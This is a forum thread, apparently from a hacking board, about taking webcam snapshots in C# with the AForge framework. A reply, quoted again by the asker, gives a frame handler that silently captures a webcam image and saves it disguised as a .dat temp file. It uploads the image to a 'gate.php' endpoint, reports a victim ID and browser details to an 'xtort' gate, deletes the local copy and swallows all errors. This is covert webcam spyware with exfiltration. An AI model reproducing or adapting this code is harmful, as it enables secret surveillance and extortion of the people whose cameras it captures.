C# Creating snapshots from a webcam video using AForge Framework

[C#] Creating snapshots from a webcam video using AForge Framework - Printable Version

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+---- Thread: [C#] Creating snapshots from a webcam video using AForge Framework (/showthread.php?tid=4346789)

Creating snapshots from a webcam video using AForge Framework - Nov - Jul 18, 2014

I am using the AForge framework to grab a snapshot of a video frame captured through a webcam.

I have written this method but it's not working:

Code 
public void GrabFrames(object sender, ref Bitmap bm)

      {

      if (button1WasClicked)

      {

      Bitmap capturedImage = (Bitmap)bm.Clone();

      string strGrabFileName = String.Format("C:\\Users\\Nov\\Documents\\CapturedVideo\\Snapshot_{0:yyyyMMdd_hhmmss.fff}.bmp", DateTime.Now);

      capturedImage.Save(strGrabFileName, System.Drawing.Imaging.ImageFormat.Bmp);

      }

      }

Anyone have any experience with AForge?

* - frapppp - Jul 20, 2014

Check for a condition in which you'd like the application to grab a frame, and:

Code 
try

      {

      WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);

      Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);

      Device.NewFrame += Device_NewFrame;

      Device.Start();

      }

      catch (Exception ex) { }

My frame handler. There'll be shit you don't need, just take it out:

Code 
static void Device_NewFrame(object sender, NewFrameEventArgs e)

      {

      try

      {

      Bitmap Bmp = (Bitmap)e.Frame.Clone();

      string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));

      string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";

      Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);

      Device.SignalToStop();

      System.Net.WebClient Client = new System.Net.WebClient();

      Client.Headers.Add("Content-Type", "binary/octet-stream");

      byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);

      MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));

      Client.Dispose();

      File.Delete(calcPath);

      gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename);

      }

      catch (Exception ex) { }

      }

* - Nov - Jul 21, 2014

(Jul 20, 2014 06:06 AM)justHACK Wrote: Check for a condition in which you'd like the application to grab a frame, and:

Code
try { WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice); Device = new VideoCaptureDevice(WebcamColl[0].MonikerString); Device.NewFrame += Device_NewFrame; Device.Start(); } catch (Exception ex) { }

My frame handler. There'll be shit you don't need, just take it out:

Code
static void Device_NewFrame(object sender, NewFrameEventArgs e) { try { Bitmap Bmp = (Bitmap)e.Frame.Clone(); string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss")); string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat"; Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp); Device.SignalToStop(); System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream"); byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath); MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length)); Client.Dispose(); File.Delete(calcPath); gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename); } catch (Exception ex) { } }

Thanks bro. Going to try it out this evening.